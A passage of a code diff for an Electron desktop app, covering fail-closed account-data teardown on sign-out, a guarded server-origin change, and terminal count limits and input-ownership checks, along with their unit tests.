expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan( vi.mocked(deps.relaunch).mock.invocationCallOrder[0] ) + expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.config.set).mock.invocationCallOrder[0]) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.config.setOrigin).mock.invocationCallOrder[0]) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.relaunch).mock.invocationCallOrder[0]) }) it('does not clear them when the origin is unchanged', async () => { @@ -114,6 +132,23 @@ describe('server window', () => { expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled() }) + it('does not erase or persist anything when recovery intent cannot be recorded', async () => { + const blocked = makeDeps({ prepareDeploymentScopedStateChange: vi.fn(() => false) }) + const handle = createServerWindow(blocked) + + await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ + ok: false, + }) + expect(blocked.clearDeploymentScopedState).not.toHaveBeenCalled() + expect(blocked.completeDeploymentScopedStateChange).not.toHaveBeenCalled() + expect(blocked.config.set).not.toHaveBeenCalled() + expect(blocked.config.setOrigin).not.toHaveBeenCalled() + expect(blocked.relaunch).not.toHaveBeenCalled() + + vi.mocked(blocked.prepareDeploymentScopedStateChange).mockReturnValue(true) + await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ ok: true }) + }) + // The picker re-enables its button while a request is pending, and the IPC // boundary is reachable regardless of what the page does, so the transaction // has to be serialized here rather than in the renderer. @@ -174,6 +209,7 @@ describe('server window', () => { // happened", which is not what happened. expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared')) expect(failing.relaunch).not.toHaveBeenCalled() + expect(failing.completeDeploymentScopedStateChange).not.toHaveBeenCalled() expect(failing.config.setOrigin).not.toHaveBeenCalled() expect(failing.config.getOrigin()).toBe(CURRENT) }) @@ -189,9 +225,55 @@ describe('server window', () => { expect(result).toMatchObject({ ok: false }) expect(throwing.relaunch).not.toHaveBeenCalled() + expect(throwing.completeDeploymentScopedStateChange).not.toHaveBeenCalled() expect(throwing.config.getOrigin()).toBe(CURRENT) }) + it('keeps teardown recovery pending when persisting the new origin fails', async () => { + const config = makeConfig(CURRENT, () => ({ ok: false, error: 'disk is read-only' })) + const failing = makeDeps({ config }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toEqual({ ok: false, error: 'disk is read-only' }) + expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce() + expect(failing.relaunch).not.toHaveBeenCalled() + }) + + it('relaunches against the committed server when completing teardown fails', async () => { + const failing = makeDeps({ + completeDeploymentScopedStateChange: vi.fn((commit) => { + commit() + throw new Error('marker is read-only') + }), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toEqual({ + ok: true, + origin: 'https://sim.other.example', + unchanged: false, + }) + expect(failing.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example') + expect(failing.config.getOrigin()).toBe('https://sim.other.example') + expect(failing.relaunch).toHaveBeenCalledOnce() + }) + + it('refuses the change while a stronger account teardown is active', async () => { + const failing = makeDeps({ + completeDeploymentScopedStateChange: vi.fn(() => false), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(failing.config.set).not.toHaveBeenCalled() + expect(failing.config.setOrigin).not.toHaveBeenCalled() + expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce() + expect(failing.relaunch).not.toHaveBeenCalled() + }) + // Validated up front with the shell's own rule, before anything is torn down // or written, so a typo costs nothing. it('surfaces a rejected origin without tearing anything down', async () => { diff --git a/apps/desktop/src/main/server-window.ts b/apps/desktop/src/main/server-window.ts index 03d6eb003b5..193f73dd630 100644 --- a/apps/desktop/src/main/server-window.ts +++ b/apps/desktop/src/main/server-window.ts @@ -69,6 +69,10 @@ export interface ServerWindowDeps { * failure not hide another's, and lets the caller refuse to move. */ clearDeploymentScopedState: () => Promise + /** Durably records the outgoing deployment before any capability is erased. */ + prepareDeploymentScopedStateChange: () => boolean + /** Atomically commits the new configuration and completes this server wipe. */ + completeDeploymentScopedStateChange: (commit: () => boolean) => boolean /** * Relaunches the shell against the newly stored origin. A full restart rather * than an in-place swap: the origin decides the cookie partition, the update @@ -179,7 +183,7 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle { // what would actually be written. const origin = canonicalOrigin(validated.origin) const current = deps.config.getOrigin() - if (origin === current) { + if (origin === current && deps.config.isPersistenceAvailable()) { // Nothing moves, so nothing is torn down. Relaunching anyway would make // "confirm the URL I already use" restart the app for no reason. return { ok: true, origin, unchanged: true } @@ -190,6 +194,13 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle { } changeInFlight = true try { + if (!deps.prepareDeploymentScopedStateChange()) { + logger.error('Could not persist deployment-scoped recovery marker') + return { + ok: false, + error: 'Could not safely prepare the server change. Try again.', + } + } // Fail closed, and clear BEFORE persisting. If a store cannot be emptied, // the shell must not move: the incoming deployment would otherwise // inherit folder grants and authenticated browser sessions the outgoing @@ -215,15 +226,42 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle { } } - logger.info('Server origin changed; relaunching', { from: current, to: origin }) - deps.config.setOrigin(raw) - for (const key of ORIGIN_SCOPED_SETTINGS) { - deps.config.set(key, undefined) + const transaction: { + stored: ReturnType | null + } = { stored: null } + try { + const completed = deps.completeDeploymentScopedStateChange(() => { + for (const key of ORIGIN_SCOPED_SETTINGS) { + deps.config.set(key, undefined) + } + transaction.stored = deps.config.setOrigin(raw) + return transaction.stored.ok + }) + if (!completed) { + if (transaction.stored && !transaction.stored.ok) return transaction.stored + logger.error('Refusing to change server while account-data recovery is active') + return { + ok: false, + error: 'Finish signing out or restart Sim before changing servers.', + } + } + } catch (error) { + if (transaction.stored?.ok) { + logger.error('Server changed but deployment-scoped recovery remains pending', { + error: getErrorMessage(error), + }) + } else { + logger.error('Could not persist the new server origin', { + error: getErrorMessage(error), + }) + return { + ok: false, + error: 'Could not save the new server URL. Try again.', + } + } } - // setOrigin writes through immediately; the clears above are debounced - // like every other setting. `before-quit` flushes too, but doing it here - // keeps the write independent of the Electron quit sequence. - deps.config.flush() + + logger.info('Server origin changed; relaunching', { from: current, to: origin }) close() deps.relaunch() return { ok: true, origin, unchanged: false } diff --git a/apps/desktop/src/main/session-lifecycle.test.ts b/apps/desktop/src/main/session-lifecycle.test.ts index 0623d5e2e18..b359110bf90 100644 --- a/apps/desktop/src/main/session-lifecycle.test.ts +++ b/apps/desktop/src/main/session-lifecycle.test.ts @@ -1,8 +1,16 @@ -import { describe, expect, it, vi } from 'vitest' +import { mkdtempSync, writeFileSync } from 'node:fs' +import { rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) import { BrowserWindow, type Session } from 'electron' +import { + completeAccountDataTeardown, + initializeAccountDataRecovery, +} from '@/main/account-data-generation' import { createSessionLifecycleCoordinator, decideStartRoute, @@ -15,6 +23,18 @@ import { } from '@/main/session-lifecycle' const APP = 'https://sim.ai' +let recoveryDirectory: string + +beforeEach(() => { + recoveryDirectory = mkdtempSync(join(tmpdir(), 'sim-session-lifecycle-')) + initializeAccountDataRecovery(join(recoveryDirectory, 'teardown-required.json')) +}) + +afterEach(async () => { + completeAccountDataTeardown() + initializeAccountDataRecovery(null) + await rm(recoveryDirectory, { recursive: true, force: true }) +}) describe('isSessionCookieName', () => { it('matches the better-auth session cookie on secure and non-secure hosts', () => { @@ -148,10 +168,14 @@ describe('tearDownSession', () => { clearStorageData: vi.fn(async () => { order.push('session') }), + clearCache: vi.fn(async () => { + order.push('cache') + }), } as unknown as Session await tearDownSession( session, + APP, async () => { await Promise.resolve() order.push('local') @@ -167,18 +191,18 @@ describe('tearDownSession', () => { } ) - expect(order).toEqual(['revoke', 'local', 'browser', 'session']) + expect(order).toEqual(['revoke', 'local', 'browser', 'session', 'cache']) }) - it('still clears the web session when the browser profile cannot be cleared', async () => { - // Sign-out must complete even if the embedded browser is in a bad state; - // failing to clear its cookies is bad, failing to sign out is worse. + it('attempts every local erasure but rejects when the browser profile survives', async () => { const clearStorageData = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const clearCache = vi.fn(async () => {}) + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => {}, { filePath: '/tmp/events.log', record: vi.fn() }, async () => { @@ -186,19 +210,22 @@ describe('tearDownSession', () => { }, async () => {} ) - ).resolves.toBeUndefined() + ).rejects.toThrow('account-data stores could not be cleared') expect(clearStorageData).toHaveBeenCalled() + expect(clearCache).toHaveBeenCalled() }) - it('continues clearing account state when local teardown fails', async () => { + it('attempts every local erasure but rejects when account state survives', async () => { const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) const clearBrowserProfile = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => { throw new Error('local store unavailable') }, @@ -206,20 +233,55 @@ describe('tearDownSession', () => { clearBrowserProfile, async () => {} ) - ).resolves.toBeUndefined() + ).rejects.toThrow('account-data stores could not be cleared') expect(clearBrowserProfile).toHaveBeenCalledOnce() expect(clearStorageData).toHaveBeenCalledOnce() + expect(clearCache).toHaveBeenCalledOnce() + }) + + it('does not erase local data when the recovery marker cannot be written', async () => { + const directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-')) + const blockedParent = join(directory, 'blocked') + initializeAccountDataRecovery(join(blockedParent, 'teardown-required.json')) + writeFileSync(blockedParent, 'not a directory') + const clearHandoffState = vi.fn(async () => {}) + const clearBrowserProfile = vi.fn(async () => {}) + const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) + + try { + await expect( + tearDownSession( + { clearStorageData, clearCache } as unknown as Session, + APP, + clearHandoffState, + { filePath: '/tmp/events.log', record: vi.fn() }, + clearBrowserProfile, + async () => {} + ) + ).rejects.toThrow('recovery marker') + + expect(clearHandoffState).not.toHaveBeenCalled() + expect(clearBrowserProfile).not.toHaveBeenCalled() + expect(clearStorageData).not.toHaveBeenCalled() + expect(clearCache).not.toHaveBeenCalled() + } finally { + initializeAccountDataRecovery(null) + await rm(directory, { recursive: true, force: true }) + } }) it('still clears local state when the server-side revoke fails', async () => { // Offline sign-out must not strand the user signed in locally. const clearStorageData = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const clearCache = vi.fn(async () => {}) + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => {}, { filePath: '/tmp/events.log', record: vi.fn() }, async () => {}, @@ -231,6 +293,26 @@ describe('tearDownSession', () => { expect(clearStorageData).toHaveBeenCalled() }) + + it('rejects when the app cache cannot be cleared', async () => { + const session = { + clearStorageData: vi.fn(async () => {}), + clearCache: vi.fn(async () => { + throw new Error('cache busy') + }), + } as unknown as Session + + await expect( + tearDownSession( + session, + APP, + async () => {}, + { filePath: '/tmp/events.log', record: vi.fn() }, + async () => {}, + async () => {} + ) + ).rejects.toThrow('account-data stores could not be cleared') + }) }) describe('revokeAppSession', () => { @@ -292,10 +374,12 @@ describe('createSessionLifecycleCoordinator', () => { const cookiesOn = vi.fn() const webRequestOnCompleted = vi.fn() const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) const session = { cookies: { on: cookiesOn }, webRequest: { onCompleted: webRequestOnCompleted }, clearStorageData, + clearCache, fetch: vi.fn(async () => Response.json(null)), } as unknown as Session const first = new BrowserWindow() @@ -333,4 +417,35 @@ describe('createSessionLifecycleCoordinator', () => { }) expect(clearHandoffState).toHaveBeenCalledOnce() }) + + it('shares one awaitable teardown and does not open login when clearing fails', async () => { + let releaseBrowserClear: (() => void) | undefined + const browserClear = new Promise((resolve) => { + releaseBrowserClear = resolve + }) + const win = new BrowserWindow() + const coordinator = createSessionLifecycleCoordinator({ + appSession: { + cookies: { on: vi.fn() }, + clearStorageData: vi.fn(async () => { + throw new Error('storage locked') + }), + clearCache: vi.fn(async () => {}), + } as unknown as Session, + origin: () => APP, + events: { filePath: '/tmp/events.log', record: vi.fn() }, + clearHandoffState: vi.fn(async () => {}), + clearBrowserProfile: vi.fn(() => browserClear), + getWindows: () => [win], + }) + + const first = coordinator.signOut() + const second = coordinator.signOut() + expect(first).toBe(second) + await expect(coordinator.awaitTeardown(1)).resolves.toBe(false) + + releaseBrowserClear?.() + await expect(first).resolves.toBe(false) + expect(win.loadURL).not.toHaveBeenCalled() + }) }) diff --git a/apps/desktop/src/main/session-lifecycle.ts b/apps/desktop/src/main/session-lifecycle.ts index 0e68187b2dc..c6d47899b2b 100644 --- a/apps/desktop/src/main/session-lifecycle.ts +++ b/apps/desktop/src/main/session-lifecycle.ts @@ -1,6 +1,12 @@ import { createLogger } from '@sim/logger' +import { sleep } from '@sim/utils/helpers' import type { Session, WebContents } from 'electron' import { BrowserWindow, dialog } from 'electron' +import { + beginAccountDataTeardown, + completeAccountDataTeardown, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import { isSafeInternalPath } from '@/main/config' import { isAuthSurfacePath, openExternalSafe } from '@/main/navigation' import type { EventRecorder } from '@/main/observability' @@ -10,6 +16,7 @@ const logger = createLogger('DesktopSessionLifecycle') const SESSION_PROBE_TIMEOUT_MS = 5000 const START_ROUTE_PROBE_TIMEOUT_MS = 1500 const TEARDOWN_COOLDOWN_MS = 3000 +const TEARDOWN_WAIT_TIMEOUT_MS = 5000 const CLEARED_STORAGES = [ 'cookies', @@ -251,26 +258,43 @@ export async function revokeAppSession(win: BrowserWindow, origin: string): Prom */ export async function tearDownSession( session: Session, + origin: string, clearHandoffState: () => void | Promise, events: EventRecorder, clearBrowserProfile: () => Promise, revokeSession: () => Promise ): Promise { + if (!beginAccountDataTeardown('account', origin)) { + throw new Error('Could not persist account-data recovery marker.') + } events.record('sign_out') // Server-side first, while the partition still holds the session cookie the - // revoke needs. Every step below is best-effort for the same reason the - // browser-profile clear is: failing to clear something is bad, failing to - // sign out is worse. + // revoke needs. Revocation remains best-effort because offline sign-out must + // still erase the device, but every local erasure below is fail-closed. await revokeSession().catch((error) => logger.error('Session revoke failed', { error })) - await Promise.resolve(clearHandoffState()).catch((error) => - logger.error('Local account-state teardown failed', { error }) - ) - await clearBrowserProfile().catch((error) => - logger.error('Browser profile teardown failed', { error }) + await waitForAccountDataMutations() + + const failures: unknown[] = [] + const clear = async (label: string, operation: () => void | Promise) => { + try { + await operation() + } catch (error) { + failures.push(error) + logger.error(label, { error }) + } + } + + await clear('Local account-state teardown failed', clearHandoffState) + await clear('Browser profile teardown failed', clearBrowserProfile) + await clear('App partition storage teardown failed', () => + session.clearStorageData({ storages: [...CLEARED_STORAGES] }) ) - await session - .clearStorageData({ storages: [...CLEARED_STORAGES] }) - .catch((error) => logger.error('App partition teardown failed', { error })) + await clear('App partition cache teardown failed', () => session.clearCache()) + + if (failures.length > 0) { + throw new AggregateError(failures, 'One or more account-data stores could not be cleared.') + } + completeAccountDataTeardown() } export interface SessionLifecycleDeps { @@ -290,7 +314,10 @@ export interface SessionLifecycleCoordinator { * the in-progress guard, and its own cookie removal then trips the cookie * watcher into a second concurrent teardown. */ - signOut(): void + signOut(): Promise + /** Waits for an active teardown without allowing shutdown to hang indefinitely. */ + awaitTeardown(timeoutMs?: number): Promise + isTeardownActive(): boolean } interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps { @@ -314,13 +341,17 @@ interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps { export function createSessionLifecycleCoordinator( deps: SessionLifecycleCoordinatorDeps ): SessionLifecycleCoordinator { - let tearingDown = false - const runTeardown = () => { - if (tearingDown) return - tearingDown = true + let teardownPromise: Promise | null = null + let teardownSettled = true + let lastTeardownSucceeded: boolean | null = null + const runTeardown = (): Promise => { + if (teardownPromise) return teardownPromise + teardownSettled = false + lastTeardownSucceeded = null logger.info('Sign-out detected; clearing partition') - void tearDownSession( + const pending = tearDownSession( deps.appSession, + deps.origin(), deps.clearHandoffState, deps.events, deps.clearBrowserProfile, @@ -335,19 +366,39 @@ export function createSessionLifecycleCoordinator( } } ) - .catch((error) => logger.error('Session teardown failed', { error })) - .finally(() => { + .then(() => { for (const win of deps.getWindows()) { if (!win.isDestroyed()) { void win.loadURL(`${deps.origin()}/login`).catch(() => {}) } } + lastTeardownSucceeded = true + return true + }) + .catch((error) => { + logger.error('Session teardown failed; refusing to report a clean sign-out', { error }) + void dialog.showMessageBox({ + type: 'error', + message: 'Sim could not finish signing out', + detail: + 'Some account data could not be removed from this device. Try signing out again before another account uses the app.', + buttons: ['OK'], + }) + lastTeardownSucceeded = false + return false + }) + .finally(() => { + teardownSettled = true // Re-arm after clearStorageData's own cookie-removal events have // drained, so self-induced deletions never re-trigger teardown. setTimeout(() => { - tearingDown = false + if (teardownPromise === pending) { + teardownPromise = null + } }, TEARDOWN_COOLDOWN_MS) }) + teardownPromise = pending + return pending } // Robust backstop: when the better-auth session cookie is deleted by ANY @@ -355,7 +406,7 @@ export function createSessionLifecycleCoordinator( // gone with a probe — so cookie rotation can't cause a false teardown — then // clear the partition. This closes the cross-account residue gap. deps.appSession.cookies.on('changed', (_event, cookie, cause, removed) => { - if (tearingDown || !removed || cause === 'overwrite') { + if (teardownPromise !== null || !removed || cause === 'overwrite') { return } if (!isSessionCookieName(cookie.name)) { @@ -370,6 +421,14 @@ export function createSessionLifecycleCoordinator( return { signOut: runTeardown, + async awaitTeardown(timeoutMs = TEARDOWN_WAIT_TIMEOUT_MS) { + const pending = teardownPromise + if (!pending) return lastTeardownSucceeded !== false + return Promise.race([pending, sleep(timeoutMs).then(() => false)]) + }, + isTeardownActive() { + return teardownPromise !== null && !teardownSettled + }, attachWindow(win) { const onNavigation = (url: string) => { if (isLogoutNavigation(url, deps.origin())) { diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts index 1dcfd7a1276..e22a8911cd7 100644 --- a/apps/desktop/src/main/terminal/index.ts +++ b/apps/desktop/src/main/terminal/index.ts @@ -82,6 +82,9 @@ const CWD_POLL_MS = 1_000 /** Cmd-Shift-T history; independent of how many terminals may be open. */ const MAX_RECENTLY_CLOSED_TERMINALS = 10 +/** A single chat cannot monopolize the process with native PTYs. */ +export const MAX_TERMINALS_PER_SCOPE = 16 + /** Pause between keys sent to a tmux pane, matching the pty keystroke gap. */ const TMUX_KEY_GAP_MS = 150 @@ -130,7 +133,7 @@ function requestedKeys(args: TerminalToolArgs): TerminalControlKey[] { const EMPTY_TABS: TerminalTabsState = { tabs: [], activeTerminalId: null } -class TerminalError extends Error { +export class TerminalError extends Error { constructor( readonly code: TerminalErrorCode, message: string @@ -155,6 +158,7 @@ export interface TerminalServiceOptions { * to the home directory. */ loadCwd?(): string | undefined + canSpawn?(): boolean } export class TerminalService { @@ -612,6 +616,36 @@ export class TerminalService { } } + /** Captures live renderer claims before the registry replaces this service. */ + getPanelOwners(): { focused: WebContents | null; visible: WebContents | null } { + return { + focused: this.focusOwner && !this.focusOwner.isDestroyed() ? this.focusOwner : null, + visible: this.visibleOwner && !this.visibleOwner.isDestroyed() ? this.visibleOwner : null, + } + } + + /** + * Whether this renderer owns the visible active terminal. + * + * IPC validates recent trusted input separately. Keeping ownership checks + * beside terminal state prevents a stale renderer from targeting a hidden + * tab or a terminal displayed by another window. + */ + acceptsUserInput(owner: WebContents, terminalId: string): boolean { + return ( + !owner.isDestroyed() && + this.focusOwner === owner && + this.visibleOwner === owner && + this.activeId === terminalId && + this.sessions.has(terminalId) + ) + } + + /** Whether one renderer may close a tab in the terminal panel it displays. */ + acceptsUserClose(owner: WebContents, terminalId: string): boolean { + return !owner.isDestroyed() && this.visibleOwner === owner && this.sessions.has(terminalId) + } + /** Drops the claim and unsubscribes from the owner's lifecycle. */ private releaseFocusOwner(): void { this.releaseFocusListeners?.() @@ -1092,6 +1126,18 @@ export class TerminalService { rows: number, options: { activateVisible: boolean; activateAgent: boolean } ): TerminalSession { + if (this.sessions.size >= MAX_TERMINALS_PER_SCOPE) { + throw new TerminalError( + 'RESOURCE_LIMIT', + `A task can have at most ${MAX_TERMINALS_PER_SCOPE} live terminals.` + ) + } + if (this.options.canSpawn && !this.options.canSpawn()) { + throw new TerminalError( + 'RESOURCE_LIMIT', + 'Sim can have at most 48 live terminals. Close a terminal before opening another.' + ) + } const terminalId = String(this.nextId++) try { const session = TerminalSession.create({ diff --git a/apps/desktop/src/main/terminal/registry.test.ts b/apps/desktop/src/main/terminal/registry.test.ts index 9dbca468c1b..6300a1adb00 100644 --- a/apps/desktop/src/main/terminal/registry.test.ts +++ b/apps/desktop/src/main/terminal/registry.test.ts @@ -9,6 +9,7 @@ interface StubSessionControl { terminalId: string cwd: string disposed: boolean + writes: string[] emitData(data: string): void emitCommand(event: TerminalCommandEvent): void } @@ -20,7 +21,8 @@ interface StubSessionCallbacks { onExit(terminalId: string): void } -const { stubSessions } = vi.hoisted(() => ({ +const { createControl, stubSessions } = vi.hoisted(() => ({ + createControl: { calls: 0, failAt: null as number | null }, stubSessions: [] as StubSessionControl[], })) @@ -40,10 +42,15 @@ vi.mock('@/main/terminal/session', () => ({ rows: number callbacks: StubSessionCallbacks }) => { + createControl.calls += 1 + if (createControl.calls === createControl.failAt) { + throw new Error('PTY spawn failed') + } const control: StubSessionControl = { terminalId, cwd, disposed: false, + writes: [], emitData: (data) => callbacks.onData(terminalId, data), emitCommand: (event) => callbacks.onCommand(event), } @@ -66,7 +73,7 @@ vi.mock('@/main/terminal/session', () => ({ dispose: () => { control.disposed = true }, - write: vi.fn(), + write: vi.fn((data: string) => control.writes.push(data)), resize: vi.fn(), tabState: (active: boolean) => ({ terminalId, @@ -103,6 +110,8 @@ function sink(): ScopedTerminalSink { describe('TerminalRegistry', () => { beforeEach(() => { + createControl.calls = 0 + createControl.failAt = null stubSessions.length = 0 }) @@ -236,6 +245,140 @@ describe('TerminalRegistry', () => { terminals.dispose() }) + it('rolls back a partial restore before retrying the complete descriptor', () => { + const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }] + const persistence: TerminalScopePersistence = { + load: vi.fn(() => ({ v: 1 as const, tabs: persistedTabs, activeIndex: 1 })), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + const events = sink() + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + send: vi.fn(), + } + terminals.setSink(events) + terminals.setPanelVisible('chat-A', true, owner as never) + terminals.setPanelFocused('chat-A', true, owner as never) + createControl.failAt = 2 + + expect(() => terminals.start('chat-A', { cols: 120, rows: 40 })).toThrow('PTY spawn failed') + expect(stubSessions).toHaveLength(1) + expect(stubSessions[0].disposed).toBe(true) + expect(terminals.peekTabs('chat-A')).toEqual({ tabs: [], activeTerminalId: null }) + expect(persistence.save).not.toHaveBeenCalled() + expect(events.tabs).not.toHaveBeenCalled() + + createControl.failAt = null + const restored = terminals.start('chat-A', { cols: 120, rows: 40 }) + + expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd)) + expect(restored.activeTerminalId).toBe('2') + expect(stubSessions.filter(({ disposed }) => !disposed)).toHaveLength(3) + expect( + stubSessions.filter(({ disposed }) => !disposed).map(({ terminalId }) => terminalId) + ).toEqual(['1', '2', '3']) + expect(persistence.save).toHaveBeenCalledOnce() + expect(events.tabs).toHaveBeenCalledOnce() + expect(events.tabs).toHaveBeenCalledWith('chat-A', restored) + + const activeTerminalId = restored.activeTerminalId as string + expect(terminals.writeUserInput('chat-A', activeTerminalId, 'a', owner as never)).toBe(true) + expect(terminals.handleFocusedShortcut({ webContents: owner } as never, 'zoom-in')).toBe(true) + expect(owner.send).toHaveBeenCalledWith( + 'terminal:shortcut-command', + 'zoom-in', + 'chat-A', + activeTerminalId + ) + expect(terminals.closeUserTerminal('chat-A', '1', owner as never).tabs).toHaveLength(2) + + terminals.dispose() + }) + + it('bounds a corrupt oversized restore while retaining its selected tab', () => { + const persistedTabs = Array.from({ length: 20 }, (_, index) => ({ + cwd: index % 2 === 0 ? tmpdir() : process.cwd(), + })) + const persistence: TerminalScopePersistence = { + load: vi.fn(() => ({ + v: 1 as const, + tabs: persistedTabs, + activeIndex: 19, + })), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + + const restored = terminals.start('chat-A', { cols: 120, rows: 40 }) + + expect(restored.tabs).toHaveLength(16) + expect(restored.activeTerminalId).toBe('16') + expect(stubSessions.map(({ cwd }) => cwd)).toEqual([ + ...persistedTabs.slice(0, 15).map(({ cwd }) => cwd), + persistedTabs[19].cwd, + ]) + expect(persistence.save).toHaveBeenLastCalledWith('chat-A', { + v: 1, + tabs: [...persistedTabs.slice(0, 15), persistedTabs[19]], + activeIndex: 15, + }) + }) + + it('enforces the process-wide terminal ceiling without evicting live scopes', () => { + const terminals = registry() + for (let index = 0; index < 48; index++) { + terminals.start(`chat-${index}`, { cols: 80, rows: 24 }) + } + + expect(() => terminals.start('chat-overflow', { cols: 80, rows: 24 })).toThrow( + expect.objectContaining({ code: 'RESOURCE_LIMIT' }) + ) + expect(stubSessions).toHaveLength(48) + expect(stubSessions.every((session) => !session.disposed)).toBe(true) + }) + + it('does not truncate a saved terminal session while the process budget is occupied', () => { + const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }] + const persistence: TerminalScopePersistence = { + load: vi.fn((scope) => + scope === 'chat-pending-restore' + ? { v: 1 as const, tabs: persistedTabs, activeIndex: 1 } + : undefined + ), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + for (let index = 0; index < 46; index++) { + terminals.start(`chat-live-${index}`, { cols: 80, rows: 24 }) + } + + expect(() => terminals.start('chat-pending-restore', { cols: 80, rows: 24 })).toThrow( + expect.objectContaining({ code: 'RESOURCE_LIMIT' }) + ) + expect(persistence.save).not.toHaveBeenCalledWith('chat-pending-restore', expect.anything()) + + terminals.disposeScope('chat-live-0') + const restored = terminals.start('chat-pending-restore', { cols: 80, rows: 24 }) + + expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd)) + expect(restored.activeTerminalId).toBe('2') + expect(persistence.save).toHaveBeenCalledWith('chat-pending-restore', { + v: 1, + tabs: persistedTabs, + activeIndex: 1, + }) + }) + it('opens a fallback shell for a saved tab whose directory no longer exists', () => { const missingCwd = '/definitely-does-not-exist/sim-terminal-restored-tab' const persistence: TerminalScopePersistence = { @@ -399,4 +542,55 @@ describe('TerminalRegistry', () => { terminals.setPanelFocused('chat-B', false, contents as never) expect(terminals.handleFocusedShortcut(ownerWindow as never, 'reload-or-clear')).toBe(false) }) + + it('writes user input only for the visible focused owner and active terminal', () => { + const terminals = registry() + const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string + const second = terminals.openTerminal('chat-A').activeTerminalId as string + terminals.start('chat-B', { cols: 80, rows: 24 }) + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + } + const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() } + + terminals.setPanelFocused('chat-A', true, owner as never) + terminals.setPanelVisible('chat-A', true, owner as never) + + expect(terminals.writeUserInput('chat-A', second, 'a', other as never)).toBe(false) + expect(terminals.writeUserInput('chat-A', first, 'a', owner as never)).toBe(false) + expect(terminals.writeUserInput('chat-B', '1', 'a', owner as never)).toBe(false) + expect(stubSessions.every((session) => session.writes.length === 0)).toBe(true) + + expect(terminals.writeUserInput('chat-A', second, 'a', owner as never)).toBe(true) + const activeSession = stubSessions.find((session) => session.terminalId === second) + expect(activeSession?.writes).toEqual(['a']) + }) + + it('closes tabs only for the renderer displaying their terminal scope', () => { + const terminals = registry() + const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string + const second = terminals.openTerminal('chat-A').activeTerminalId as string + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + } + const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() } + + expect(terminals.closeUserTerminal('chat-A', first, owner as never).tabs).toHaveLength(2) + terminals.setPanelVisible('chat-A', true, owner as never) + expect(terminals.closeUserTerminal('chat-A', first, other as never).tabs).toHaveLength(2) + expect(terminals.closeUserTerminal('chat-B', '1', owner as never)).toEqual({ + tabs: [], + activeTerminalId: null, + }) + + const closed = terminals.closeUserTerminal('chat-A', first, owner as never) + expect(closed.tabs).toHaveLength(1) + expect(closed.activeTerminalId).toBe(second) + }) }) diff --git a/apps/desktop/src/main/terminal/registry.ts b/apps/desktop/src/main/terminal/registry.ts index 673b29beb99..0dec570e95b 100644 --- a/apps/desktop/src/main/terminal/registry.ts +++ b/apps/desktop/src/main/terminal/registry.ts @@ -11,7 +11,16 @@ import { import { type BrowserWindow, dialog, type WebContents } from 'electron' import type { TerminalSessionSnapshot } from 